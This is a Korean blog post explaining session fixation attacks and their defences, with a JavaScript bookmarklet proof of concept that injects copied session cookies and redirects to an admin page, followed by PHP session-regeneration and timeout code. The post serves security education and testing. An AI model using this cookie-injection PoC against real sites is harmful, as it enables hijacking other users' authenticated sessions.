티스토리 뷰

출처 : guleum-zone.tistory.com/163

 

 

개요

Session Fixation(세션 고정) 이란 로그인 시 발급받은 세션 ID가 로그인 전/후 모두 동일하게 사용되어 악의적인 사용자가 피해자의 세션을 하이제킹 하여 정상적인 사용자로 위장하여 접근하는 행위입니다.

 

"세션에 대한 만료" 또는 "서로 다른 IP의 동일한 세션"에 대해 취약한 웹 애플리케이션을 운영 중일 경우 서비스를 이용하는 다수의 사용자들이 해당 공격에 노출될 가능성이 존재합니다.

 

발생 가능 시나리오

악의적인 사용자들은 취약 웹 애플리케이션에 직접 로그인하여 세션 ID를 발급받고 "XSS" 같은 교차 스크립트 공격을 병행하여 이메일을 열람 시 공격자의 세션 ID를 사용하여 서비스를 접근하도록 하면 사용자들은 공격자와 동일한 세션 ID를 사용하게 되며, 여기서 관리자 페이지나 기타 개인정보를 포함하고 있는 페이지를 사용할 경우 공격자는 자신의 페이지를 Refresh(F5)하여 추가 정보를 획득하거나 사용자의 행세를 하게 됩니다.

대부분의 페이지에서는 SSL 통신을 하고 있기 때문에 실제로 타인의 로그인 정보를 패킷 분석을 통해 확인하면 모두 암호화되어 식별하기 어렵지만, "http" 통신을 하게 되면 별도의 암호화 알고리즘을 사용하지 않는 이상 정보들은 모두 평문으로 저장됩니다.

세션에 별도로 만료 시간이 지정되어 있는지 확인하려면 간편하게 "개발자 도구(F12)" -> Application -> Cookies 탭으로 들어가 확인해보시면 됩니다.

 

Session Fixation POC

해당 코드는 해커원의 "ph.hitachi" 님의 POC코드를 조금 수정한 형태입니다.

javascript:void(function(){ 
    function setCookie(t) { 
    var list = t.split("; "); 
    console.log(list); 
        for (var i = list.length - 1; i >= 0; i--) { 
            var cname = list[i].split("=")[0]; var cvalue = list[i].split("=")[1]; 
            var d = new Date(); d.setTime(d.getTime() + (7*24*60*60*1000)); 
            var expires = ";domain=.www.example.com;expires="+ d.toUTCString(); 
            document.cookie = cname + "=" + cvalue + "; " + expires; 
        } 
    } 
    function hex2a(hex) { 
        var str = ''; 
        for (var i = 0; i < hex.length; i += 2) {
            var v = parseInt(hex.substr(i, 2), 16); 
            if (v) str += String.fromCharCode(v); 
        } 
    return str; 
    } 
    var cookie = prompt("Session Fixation PoC", ""); 
    setCookie(cookie); 
    location.href = 'http://www.example.com/admin/management'; 
})();

해당 POC를 이용하게 되면

var expires = ";domain=.해당주소;expires=" 부분과 location.href = '인증 후 접속할 주소' 코드를 자신에게 맞게 수정하여 북마크 기능을 통해 해당 페이지의 만료 시간을 확인하여 재접근하게 되지만, 만약 User-agent를 통해 브라우저 기반으로 검증하거나 서로 다른 IP에서 동일 세션을 가지고 있을 경우 제한이 될 수 있습니다.

 

"Input Value"에 상단에서 확인했던 Cookie값(PCID부터)을 삽입해주시면 됩니다. 로그아웃 후 이전과 동일한 세션 ID로 다시 로그인이 가능한지 확인을 하면 되지만 진행하면서 하단의 2가지 요건을 파악해보실 필요가 있습니다.

1. User-Agent 기반으로 중복 인증을 막고 있는지

2. 서로 다른 IP가 동일 세션을 사용하려고 하는 경우

 

사실 1번의 경우 User-Agent로 브라우저가 상반 시 로그인 처리가 되지 않는 경우가 있지만, 이는 잘못된 조치방법으로 정상적인 사용자 == 악의적인 사용자 간에 동일한 브라우저(chrome, firefox, IE)를 사용했다면 이는 쉽게 우회가 가능해집니다.

 

실제 악의적인 행위에서 보다 안전하게 운영을 하고 싶다면 페이지 자체에 전구간 SSL 통신 즉 HTTPS를 사용하여 암호화 통신이 되도록 하는 게 첫 번째입니다. 로직을 통해 강제 https리다이렉트 방법도 존재하지만 서버 측에서 HSTS(HTTP Strict Transport Security)를 적용하여 전구간 강제 암호화를 해주시는 것을 추천드립니다.

*HSTS 적용 관련(Nginx, Apache/Tomcat)은 guleum-zone.tistory.com/82 참고

 

그다음으로는 2번처럼 멀티세션을 사전에 막아줌으로써 사용자의 세션 ID가 탈취당해도 정상적인 사용자!= 악의적인 사용자 간에 IP는 틀리기 때문에 도용이 불가능해집니다.

 

대응 방안

/* 로그인 전/후로 세션을 재발급 */
<?php
	session_start();
	$old_sessionid = session_id();
	session_regenerate_id();
	$new_sessionid = session_id();
	echo "Old Session : $old_sessionid<br />";
	echo "New Session : $new_sessionid<br />";
	print_r($_SESSION);
?>

/* 일정시간 후 세션만료 */
<?php
if (isset($_SESSION['LAST_ACTIVITY']) && (time() - $_SESSION['LAST_ACTIVITY'] > 1800)) {
    // 30분동안 사용하지 않았으면 세션 종료
    session_unset();     // unset $_SESSION variable for the run-time 
    session_destroy();   // destroy session data in storage
}
$_SESSION['LAST_ACTIVITY'] = time(); // update last activity time stamp
?>

/* 서버측 php.ini 내부의 옵션을 통해 만료시간 지정 */
session.gc_probability = 1
session.gc_divisor = 1
session.gc_maxlifetime = 600 ==> 10분
# 서버 재시작

PHP 언어 이외에도 중복 로그인 방지 관련 시큐어 코딩은 하단의 링크를 참고해보시면 될 것 같습니다.

/* JAVA의 HttpSessionListener 를 통해 중복 로그인 방지 */
https://myhappyman.tistory.com/116 

/* JSP 중복 로그인 방지 */
https://landboys.tistory.com/entry/JSP-%EC%9D%B4%EC%A4%91%EB%A1%9C%EA%B7%B8%EC%9D%B8-%EB%B0%A9%EC%A7%80-Session-%EC%B2%98%EB%A6%AC

/* 전자정부 프레임워크를 통해 중복 로그인 방지 */
https://www.egovframe.go.kr/wiki/doku.php?id=egovframework:com:v3:cmm:multilogin

댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
글 보관함